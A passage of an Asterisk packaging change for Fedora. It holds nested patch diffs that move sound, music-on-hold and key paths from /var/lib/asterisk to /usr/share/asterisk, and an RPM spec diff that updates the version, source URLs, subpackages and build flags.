-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/5/greet.wav&);
- 			&std-priv-exten(Zap/3r2&Zap/5r2,5,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
- 	}
- 	4 => {  // KYLE
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/6/greet.wav&);
- 			&std-priv-exten(Zap/3r2&Zap/5r2,6,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
- 	}
- 	5 => {
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/7/greet.wav&);
- 			&std-priv-exten(Zap/3r2&Zap/5r2,7,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
- 			
- 	}
- 	6 => {
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/8/greet.wav&);
- 			&std-priv-exten(Zap/3r2&Zap/5r2,8,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
- 	}
- 	7 => {
--			TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+			TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 			TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/9/greet.wav&);
- 			&std-priv-exten(Zap/3r2&Zap/5r2,9,35,mtw,telemarket,telemarket);
- 			goto homeline|s|loopback;
-@@ -2516,7 +2516,7 @@ context workline {
-                                               // Otherwise, dial 1, and hopefully, you will reach Steve.
- 	}
- 	1 => {
--		TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm);
-+		TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm);
- 		TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/1/greet.wav&);
- 		
- 		&std-priv-exten(Zap/6&Sip/murf,1,30,mtw,telemarket,telemarket);
-@@ -2777,7 +2777,7 @@ context homeext {
- 	}
- 	761 => {
- 		Record(announcement:gsm);
--		TrySystem(/usr/bin/play /var/lib/asterisk/sounds/announcement.gsm&);
-+		TrySystem(/usr/bin/play /usr/share/asterisk/sounds/announcement.gsm&);
- 		goto s|loopback;
- 	}
- 	762 => {
-diff --git a/pbx/ael/ael-test/ref.ael-vtest13 b/pbx/ael/ael-test/ref.ael-vtest13
-index 07ae29e..70956d4 100644
---- a/pbx/ael/ael-test/ref.ael-vtest13
-+++ b/pbx/ael/ael-test/ref.ael-vtest13
-@@ -2107,7 +2107,7 @@ exten => s,20,Return()
+ ;[native-alphabetical]
+ ;mode=files
+-;directory=/var/lib/asterisk/moh
++;directory=/usr/share/asterisk/moh
+ ;sort=alpha     ; Sort the files in alphabetical order.  If this option is
+ ;               ; not specified, the sort order is undefined.
  
+@@ -63,7 +63,7 @@
+ ;mode=custom
+ ; Note that with mode=custom, a directory is not required, such as when reading
+ ; from a stream.
+-;directory=/var/lib/asterisk/mohmp3
++;directory=/usr/share/asterisk/mohmp3
+ ;application=/usr/bin/mpg123 -q -r 8000 -f 8192 -b 2048 --mono -s
  
- [callerid-liar]
--exten => s,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/priv-callerintros/LIAR.gsm&)
-+exten => s,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/priv-callerintros/LIAR.gsm&)
- exten => s,2,Background(priv-liar)
- exten => s,3,Hangup()
- exten => s,4,Return()
-@@ -2142,7 +2142,7 @@ exten => s,3,Set(repeatcount=0)
- exten => s,4,Zapateller(nocallerid)
- exten => s,5,PrivacyManager()
- exten => s,6,GotoIf($["${PRIVACYMGRSTATUS}" = "FAILED" ]?7:11)
--exten => s,7,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/privmanfailed.gsm)
-+exten => s,7,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/privmanfailed.gsm)
- exten => s,8,Gosub(std-priv-exten,s,1(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket))
- exten => s,9,Hangup()
- exten => s,10,Return()
-@@ -2168,7 +2168,7 @@ exten => s,29,GotoIf($["${direct}" != "" & ${direct} != 0 ]?30:37)
- exten => s,30,verbose(direct is XXX#${direct}XXXX)
- exten => s,31,Playback(greetings/direct)
- exten => s,32,Playback(/var/spool/asterisk/voicemail/default/${direct}/greet)
--exten => s,33,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => s,33,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => s,34,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/${direct}/greet.wav&)
- exten => s,35,Goto(sw-92-${direct},10)
- exten => s,36,NoOp(Finish switch-if-homeline-91-92)
-@@ -2247,7 +2247,7 @@ exten => sw-92-2,10,Gosub(std-priv-exten,s,1(Zap/3r1&Zap/5r1,2,25,mtw,telemarket
- exten => sw-92-2,11,Goto(s,loopback)
- exten => sw-92-1,10,Gosub(std-priv-exten,s,1(Zap/6r3&Sip/murf,1,25,mpA(beep)tw,telemarket,telemarket))
- exten => sw-92-1,11,Goto(s,loopback)
--exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/2/greet.wav&)
- exten => 1,3,Gosub(std-priv-exten,s,1(Zap/3r1&Zap/5r1,2,25,mtw,telemarket,telemarket))
- exten => 1,4,Goto(s,loopback)
-@@ -2324,31 +2324,31 @@ exten => o,1,Goto(s,begin)
+ ;[ulawstream]
+@@ -75,5 +75,5 @@
+ ; choice
+ ;[solaris]
+ ;mode=custom
+-;directory=/var/lib/asterisk/mohmp3
++;directory=/usr/share/asterisk/mohmp3
+ ;application=/site/sw/bin/madplay -Q -o raw:- --mono -R 8000 -a -12
+Index: configs/osp.conf.sample
+===================================================================
+--- configs/osp.conf.sample	(revision 222649)
++++ configs/osp.conf.sample	(working copy)
+@@ -36,8 +36,8 @@
+ ;source=domain name or [IP address in brackets]
+ ;
+ ; Define path and file name of crypto files.
+-; The default path for crypto file is /var/lib/asterisk/keys.  If no path is 
+-; defined, crypto files will in /var/lib/asterisk/keys directory.
++; The default path for crypto file is /usr/share/asterisk/keys.  If no path is 
++; defined, crypto files will in /usr/share/asterisk/keys directory.
+ ;
+ ; Specify the private key file name.  
+ ; If this parameter is unspecified or not present, the default name will be the 
+Index: configs/res_config_sqlite.conf
+===================================================================
+--- configs/res_config_sqlite.conf	(revision 222649)
++++ configs/res_config_sqlite.conf	(working copy)
+@@ -1,7 +1,7 @@
+ [general]
+ 
+ ; The database file.
+-dbfile => /var/lib/asterisk/sqlite.db
++dbfile => /var/spool/asterisk/sqlite.db
+ 
+ ; Both config_table and cdr_table are optional. If config_table is omitted,
+ ; you must specify it in extconfig.conf. If it is both provided here and in
+Index: utils/ael_main.c
+===================================================================
+--- utils/ael_main.c	(revision 222649)
++++ utils/ael_main.c	(working copy)
+@@ -496,7 +496,7 @@
+ 		strcpy(config_dir, "/etc/asterisk");
+ 		localized_use_conf_dir();
+ 	}
+-	strcpy(var_dir, "/var/lib/asterisk");
++	strcpy(var_dir, "/usr/share/asterisk");
+ 	
+ 	if( dump_extensions ) {
+ 		dumpfile = fopen("extensions.conf.aeldump","w");
+Index: contrib/scripts/astgenkey.8
+===================================================================
+--- contrib/scripts/astgenkey.8	(revision 222649)
++++ contrib/scripts/astgenkey.8	(working copy)
+@@ -88,7 +88,7 @@
+ .RE
  
- [homeline-kids]
- exten => s,1(begin),Background(murphy-homeline-kids)
--exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/3/greet.wav&)
- exten => 1,3,Gosub(std-priv-exten,s,1(IAX2/seaniax&Zap/5r2,3,35,mtw,telemarket,telemarket))
- exten => 1,4,Goto(homeline,s,loopback)
--exten => 2,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 2,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 2,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/4/greet.wav&)
- exten => 2,3,Voicemail(u4)
- exten => 2,4,Goto(homeline,s,loopback)
--exten => 3,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 3,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 3,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/5/greet.wav&)
- exten => 3,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,5,35,mtw,telemarket,telemarket))
- exten => 3,4,Goto(homeline,s,loopback)
--exten => 4,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 4,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 4,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/6/greet.wav&)
- exten => 4,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,6,35,mtw,telemarket,telemarket))
- exten => 4,4,Goto(homeline,s,loopback)
--exten => 5,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 5,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 5,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/7/greet.wav&)
- exten => 5,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,7,35,mtw,telemarket,telemarket))
- exten => 5,4,Goto(homeline,s,loopback)
--exten => 6,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 6,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 6,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/8/greet.wav&)
- exten => 6,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,8,35,mtw,telemarket,telemarket))
- exten => 6,4,Goto(homeline,s,loopback)
--exten => 7,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 7,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 7,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/9/greet.wav&)
- exten => 7,3,Gosub(std-priv-exten,s,1(Zap/3r2&Zap/5r2,9,35,mtw,telemarket,telemarket))
- exten => 7,4,Goto(homeline,s,loopback)
-@@ -2376,7 +2376,7 @@ exten => s,5,Gosub(fillcidname,s,1)
- exten => s,6,TrySystem(/usr/local/bin/who-is-it ${CALLERID(num)} "${CALLERID(name)}"&)
- exten => s,7(loopback),Background(greetings/greeting)
- exten => s,8,Background(murphy-office-intro1)
--exten => 1,1,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/call-for.gsm)
-+exten => 1,1,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/call-for.gsm)
- exten => 1,2,TrySystem(/usr/bin/play /var/spool/asterisk/voicemail/default/1/greet.wav&)
- exten => 1,3,Gosub(std-priv-exten,s,1(Zap/6&Sip/murf,1,30,mtw,telemarket,telemarket))
- exten => 1,4,Goto(s,loopback)
-@@ -2502,7 +2502,7 @@ exten => 6,1,Background(recording)
- exten => 760,1,DateTime()
- exten => 760,2,Goto(s,loopback)
- exten => 761,1,Record(announcement:gsm)
--exten => 761,2,TrySystem(/usr/bin/play /var/lib/asterisk/sounds/announcement.gsm&)
-+exten => 761,2,TrySystem(/usr/bin/play /usr/share/asterisk/sounds/announcement.gsm&)
- exten => 761,3,Goto(s,loopback)
- exten => 762,1,agi(tts-riddle.agi)
- exten => 762,2,Background(gsm/what-time-it-is2)
--- 
-1.6.1
-
+ Those files should be copied to 
+-.I /var/lib/asterisk/keys
++.I /usr/share/asterisk/keys
+ 
+ (The private key: on your system. The public key: on other systems)
+ 
+@@ -122,10 +122,10 @@
+ And then make the key accessible to Asterisk (assuming you run it as
+ user "asterisk").
+ 
+-  chown asterisk /var/lib/asterisk/keys/yourname.*
++  chown asterisk /usr/share/asterisk/keys/yourname.*
+ 
+ .SH FILES
+-.I /var/lib/asterisk/keys
++.I /usr/share/asterisk/keys
+ .RS
+ .RE
+ 
+Index: contrib/scripts/astgenkey
+===================================================================
+--- contrib/scripts/astgenkey	(revision 222649)
++++ contrib/scripts/astgenkey	(working copy)
+@@ -29,7 +29,7 @@
+ 	echo "in PEM format for use by Asterisk.  You will be asked to"
+ 	echo "enter a passcode for your key multiple times.  Please"
+ 	echo "enter the same code each time.  The resulting files will"
+-	echo "need to be moved to /var/lib/asterisk/keys if you want"
++	echo "need to be moved to /usr/share/asterisk/keys if you want"
+ 	echo "to use them, and any private keys (.key files) will"
+ 	echo "need to be initialized at runtime either by running"
+ 	echo "Asterisk with the '-i' option, or with the 'init keys'"
+Index: contrib/utils/README.rawplayer
+===================================================================
+--- contrib/utils/README.rawplayer	(revision 222649)
++++ contrib/utils/README.rawplayer	(working copy)
+@@ -16,11 +16,11 @@
+ sox -c 1 track01.wav -t raw -r 8000 -c 1 -s -w track01.raw
+ 
+ 
+-Once you have the raw files put them in any dir on your system (eg /var/lib/asterisk/holdmusic_raw).
++Once you have the raw files put them in any dir on your system (eg /usr/share/asterisk/holdmusic_raw).
+ and set up a class in musiconhold.conf like so:
+ 
+ [classes]
+-default => custom:/var/lib/asterisk/holdmusic_raw,/usr/bin/rawplayer
++default => custom:/usr/share/asterisk/holdmusic_raw,/usr/bin/rawplayer
+ 
+ 
+ This is the most efficient way to implement moh because no cpu usage is required to 
+Index: UPGRADE-1.4.txt
+===================================================================
+--- UPGRADE-1.4.txt	(revision 222649)
++++ UPGRADE-1.4.txt	(working copy)
+@@ -92,7 +92,7 @@
+ WARNING: Asterisk 1.4 supports a new layout for sound files in multiple languages;
+ instead of the alternate-language files being stored in subdirectories underneath
+ the existing files (for French, that would be digits/fr, letters/fr, phonetic/fr,
+-etc.) the new layout creates one directory under /var/lib/asterisk/sounds for the
++etc.) the new layout creates one directory under /usr/share/asterisk/sounds for the
+ language itself, then places all the sound files for that language under that
+ directory and its subdirectories. This is the layout that will be created if you
+ select non-English languages to be installed via menuselect, HOWEVER Asterisk does


Index: asterisk.spec
===================================================================
RCS file: /cvs/pkgs/rpms/asterisk/F-11/asterisk.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- asterisk.spec	7 Sep 2009 04:50:09 -0000	1.52
+++ asterisk.spec	8 Oct 2009 13:45:31 -0000	1.53
@@ -1,49 +1,22 @@
-%define with_apidoc %{?_with_apidoc: 1} %{!?_with_apidoc: 0}
-#define _rc 1
+%define _rc 2
 Summary: The Open Source PBX
 Name: asterisk
-Version: 1.6.1.6
-Release: 1%{?_rc:.rc%{_rc}}%{?dist}
+Version: 1.6.1.7
+Release: 0.1%{?_rc:.rc%{_rc}}%{?dist}
 License: GPLv2
 Group: Applications/Internet
 URL: http://www.asterisk.org/
 
-# The Asterisk tarball contains some items that we don't want in there,
-# so start with the original tarball from here:
-#
-# http://downloads.digium.com/pub/telephony/asterisk/releases/asterisk-%{version}%{?_rc:-rc%{_rc}}.tar.gz
-#
-# Then run the included script file to build the stripped tarball:
-#
-# sh asterisk-strip.sh %{version}
-
-# MD5 Sums
-# ========
-# 63a928373e741524aac09d8c078df7d5  asterisk-1.6.1.6.tar.gz
-# 4f57c6c9fff1bfeb9061679c123f7468  asterisk-1.6.1.6-stripped.tar.gz
-#
-# SHA1 Sums
-# =========
-# 79a9a3635fdf2e8422dadabd9f05da3329e60dc1  asterisk-1.6.1.6.tar.gz
-# b6ef13ec7b7b2335cd98dec09f143f9f446d9bb1  asterisk-1.6.1.6-stripped.tar.gz
-#
-# SHA256 Sums
-# =========
-# ce56be843b85946bebbb89af06819585f45dd50ac544c21ca81acab994036c22  asterisk-1.6.1.6.tar.gz
-# 4a91e3b8a420756f3b7b2b2d85335e0c47431bcaa8f02ea40e2c9ed835283fe3  asterisk-1.6.1.6-stripped.tar.gz
-
-Source0: asterisk-%{version}%{?_rc:-rc%{_rc}}-stripped.tar.gz
+Source0: http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-%{version}%{?_rc:-rc%{_rc}}.tar.gz
 Source1: asterisk-logrotate
 Source2: menuselect.makedeps
 Source3: menuselect.makeopts
-Source4: asterisk-strip.sh
-Source5: asterisk-%{version}%{?_rc:-rc%{_rc}}.tar.gz.asc
+Source5: http://downloads.asterisk.org/pub/telephony/asterisk/releases/asterisk-%{version}%{?_rc:-rc%{_rc}}.tar.gz.asc
 Source6: asterisk-developer-pubring.gpg
 
 Patch1:  0001-Modify-init-scripts-for-better-Fedora-compatibility.patch
 Patch2:  0002-Modify-modules.conf-so-that-different-voicemail-modu.patch
 Patch5:  0005-Build-using-external-libedit.patch
-Patch6:  0006-Revert-changes-to-pbx_lua-from-rev-126363-that-cause.patch
 Patch8:  0008-change-configure.ac-to-look-for-pkg-config-gmime-2.4.patch
 Patch10: 0010-my-guess-as-replacements-for-the-missing-broken-stuf.patch
 Patch11: 0011-Fix-up-some-paths.patch
@@ -67,15 +40,13 @@ BuildRequires: gtk2-devel
 # for res_http_post
 BuildRequires: gmime-devel
 
-%if %{with_apidoc}
 # for building docs
 BuildRequires: doxygen
 BuildRequires: graphviz
 BuildRequires: graphviz-gd
-%endif
 
 # for codec_speex
-BuildRequires: speex-devel
+BuildRequires: speex-devel >= 1.2
 
 # for format_ogg_vorbis
 BuildRequires: libogg-devel
@@ -96,6 +67,7 @@ Requires(preun): /sbin/service
 # asterisk-conference package removed since patch no longer compiles
 Obsoletes: asterisk-conference <= 1.6.0-0.14.beta9
 Obsoletes: asterisk-mobile <= 1.6.1-0.23.rc1
+Obsoletes: asterisk-firmware <= 1.6.1.6-1
 
 %description
 Asterisk is a complete PBX in software. It runs on Linux and provides
@@ -122,7 +94,6 @@ BuildRequires: alsa-lib-devel
 %description alsa
 Modules for Asterisk that use Alsa sound drivers.
 
-%if %{with_apidoc}
 %package apidoc
 Summary: API documentation for Asterisk
 Group: Applications/Internet
@@ -130,7 +101,6 @@ Requires: asterisk = %{version}-%{releas
 
 %description apidoc
 API documentation for Asterisk.
-%endif
 
 %package curl
 Summary: Modules for Asterisk that use cURL
@@ -183,15 +153,6 @@ Requires: festival
 %description festival
 Application for the Asterisk PBX that uses Festival to convert text to speech.
 
-%package firmware
-Summary: Firmware for the Digium S101I (IAXy)
-Group: Applications/Internet
-License: Redistributable, no modification permitted
-Requires: asterisk = %{version}-%{release}
-
-%description firmware
-Firmware for the Digium S101I (IAXy).
-
 %package ices
 Summary: Stream audio from Asterisk to an IceCast server
 Group: Applications/Internet
@@ -419,10 +380,9 @@ local filesystem.
 %patch1 -p1
 %patch2 -p0
 %patch5 -p0
-%patch6 -p1
 %patch8 -p0
 %patch10 -p1
-%patch11 -p1
+%patch11 -p0
 %patch12 -p1
 
 cp %{SOURCE2} menuselect.makedeps
@@ -462,21 +422,21 @@ popd
 
 %configure --with-imap=system --with-gsm=/usr --with-libedit=yes
 
-ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 rm apps/app_voicemail.o apps/app_directory.o
 mv apps/app_voicemail.so apps/app_voicemail_plain.so
 mv apps/app_directory.so apps/app_directory_plain.so
 
 %{__sed} -i -e 's/^MENUSELECT_OPTS_app_voicemail=.*$/MENUSELECT_OPTS_app_voicemail=IMAP_STORAGE/' menuselect.makeopts
-ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 rm apps/app_voicemail.o apps/app_directory.o
 mv apps/app_voicemail.so apps/app_voicemail_imap.so
 mv apps/app_directory.so apps/app_directory_imap.so
 
 %{__sed} -i -e 's/^MENUSELECT_OPTS_app_voicemail=.*$/MENUSELECT_OPTS_app_voicemail=ODBC_STORAGE/' menuselect.makeopts
-ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 rm apps/app_voicemail.o apps/app_directory.o
 mv apps/app_voicemail.so apps/app_voicemail_odbc.so
@@ -486,18 +446,16 @@ mv apps/app_directory.so apps/app_direct
 touch apps/app_voicemail.o apps/app_directory.o
 touch apps/app_voicemail.so apps/app_directory.so
 
-%if %{with_apidoc}
-ASTCFLAGS="%{optflags}" make progdocs DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk NOISY_BUILD=1
+ASTCFLAGS="%{optflags}" make progdocs DEBUG= OPTIMIZE= ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk  ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk NOISY_BUILD=1
 
 # fix dates so that we don't get multilib conflicts
 find doc/api/html -type f -print0 | xargs --null touch -r ChangeLog
-%endif
 
 %install
 rm -rf %{buildroot}
 
-ASTCFLAGS="%{optflags}" make install DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk
-ASTCFLAGS="%{optflags}" make samples DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk
+ASTCFLAGS="%{optflags}" make install DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk
+ASTCFLAGS="%{optflags}" make samples DEBUG= OPTIMIZE= DESTDIR=%{buildroot} ASTVARRUNDIR=%{_localstatedir}/run/asterisk ASTDATADIR=%{_datadir}/asterisk ASTVARLIBDIR=%{_datadir}/asterisk ASTDBDIR=%{_localstatedir}/spool/asterisk
 
 install -D -p -m 0755 contrib/init.d/rc.redhat.asterisk %{buildroot}%{_initrddir}/asterisk
 install -D -p -m 0644 contrib/sysconfig/asterisk %{buildroot}%{_sysconfdir}/sysconfig/asterisk
@@ -508,22 +466,22 @@ install -D -p -m 0644 doc/digium-mib.txt
 
 rm %{buildroot}%{_libdir}/asterisk/modules/app_directory.so
 rm %{buildroot}%{_libdir}/asterisk/modules/app_voicemail.so
-install -D -p -m 0755 apps/app_directory_imap.so %{buildroot}%{_libdir}/asterisk/modules/
-install -D -p -m 0755 apps/app_voicemail_imap.so %{buildroot}%{_libdir}/asterisk/modules/
-install -D -p -m 0755 apps/app_directory_odbc.so %{buildroot}%{_libdir}/asterisk/modules/
-install -D -p -m 0755 apps/app_voicemail_odbc.so %{buildroot}%{_libdir}/asterisk/modules/
-install -D -p -m 0755 apps/app_directory_plain.so %{buildroot}%{_libdir}/asterisk/modules/
-install -D -p -m 0755 apps/app_voicemail_plain.so %{buildroot}%{_libdir}/asterisk/modules/
+install -D -p -m 0755 apps/app_directory_imap.so %{buildroot}%{_libdir}/asterisk/modules
+install -D -p -m 0755 apps/app_voicemail_imap.so %{buildroot}%{_libdir}/asterisk/modules
+install -D -p -m 0755 apps/app_directory_odbc.so %{buildroot}%{_libdir}/asterisk/modules
+install -D -p -m 0755 apps/app_voicemail_odbc.so %{buildroot}%{_libdir}/asterisk/modules
+install -D -p -m 0755 apps/app_directory_plain.so %{buildroot}%{_libdir}/asterisk/modules
+install -D -p -m 0755 apps/app_voicemail_plain.so %{buildroot}%{_libdir}/asterisk/modules
 
 # create some directories that need to be packaged
-mkdir -p %{buildroot}%{_datadir}/asterisk/moh/
-mkdir -p %{buildroot}%{_datadir}/asterisk/sounds/
+mkdir -p %{buildroot}%{_datadir}/asterisk/moh
+mkdir -p %{buildroot}%{_datadir}/asterisk/sounds
 mkdir -p %{buildroot}%{_localstatedir}/lib/asterisk
-mkdir -p %{buildroot}%{_localstatedir}/log/asterisk/cdr-custom/
-mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/festival/
-mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/monitor/
-mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/outgoing/
-mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/uploads/
+mkdir -p %{buildroot}%{_localstatedir}/log/asterisk/cdr-custom
+mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/festival
+mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/monitor
+mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/outgoing
+mkdir -p %{buildroot}%{_localstatedir}/spool/asterisk/uploads
 
 # We're not going to package any of the sample AGI scripts
 rm -f %{buildroot}%{_datadir}/asterisk/agi-bin/*
@@ -538,9 +496,7 @@ rm -rf %{buildroot}%{_datadir}/asterisk/
 rm -rf %{buildroot}%{_sbindir}/hashtest
 rm -rf %{buildroot}%{_sbindir}/hashtest2
 
-%if %{with_apidoc}
 find doc/api/html -name \*.map -size 0 -delete
-%endif
 
 %clean
 rm -rf %{buildroot}
@@ -760,110 +716,110 @@ fi
 %{_mandir}/man8/autosupport.8*
 %{_mandir}/man8/safe_asterisk.8*
 
-%dir %{_sysconfdir}/asterisk
-%config(noreplace) %{_sysconfdir}/asterisk/adsi.conf
-%config(noreplace) %{_sysconfdir}/asterisk/adtranvofr.conf
-%config(noreplace) %{_sysconfdir}/asterisk/agents.conf
-%config(noreplace) %{_sysconfdir}/asterisk/alarmreceiver.conf
-%config(noreplace) %{_sysconfdir}/asterisk/amd.conf
-%config(noreplace) %{_sysconfdir}/asterisk/asterisk.adsi
-%config(noreplace) %{_sysconfdir}/asterisk/asterisk.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_custom.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cdr_manager.conf
-%config(noreplace) %{_sysconfdir}/asterisk/cli.conf
-%config(noreplace) %{_sysconfdir}/asterisk/codecs.conf
-%config(noreplace) %{_sysconfdir}/asterisk/dnsmgr.conf
-%config(noreplace) %{_sysconfdir}/asterisk/dsp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/dundi.conf
-%config(noreplace) %{_sysconfdir}/asterisk/enum.conf
-%config(noreplace) %{_sysconfdir}/asterisk/extconfig.conf
-%config(noreplace) %{_sysconfdir}/asterisk/extensions.ael
-%config(noreplace) %{_sysconfdir}/asterisk/extensions.conf
-%config(noreplace) %{_sysconfdir}/asterisk/features.conf
-%config(noreplace) %{_sysconfdir}/asterisk/followme.conf
-%config(noreplace) %{_sysconfdir}/asterisk/h323.conf
-%config(noreplace) %{_sysconfdir}/asterisk/http.conf
-%config(noreplace) %{_sysconfdir}/asterisk/iax.conf
-%config(noreplace) %{_sysconfdir}/asterisk/iaxprov.conf
-%config(noreplace) %{_sysconfdir}/asterisk/indications.conf
-%config(noreplace) %{_sysconfdir}/asterisk/logger.conf
-%config(noreplace) %{_sysconfdir}/asterisk/manager.conf
-%config(noreplace) %{_sysconfdir}/asterisk/mgcp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/modules.conf
-%config(noreplace) %{_sysconfdir}/asterisk/musiconhold.conf
-%config(noreplace) %{_sysconfdir}/asterisk/muted.conf
-%config(noreplace) %{_sysconfdir}/asterisk/osp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/phone.conf
-%config(noreplace) %{_sysconfdir}/asterisk/phoneprov.conf
-%config(noreplace) %{_sysconfdir}/asterisk/queuerules.conf
-%config(noreplace) %{_sysconfdir}/asterisk/queues.conf
-%config(noreplace) %{_sysconfdir}/asterisk/rpt.conf
-%config(noreplace) %{_sysconfdir}/asterisk/rtp.conf
-%config(noreplace) %{_sysconfdir}/asterisk/say.conf
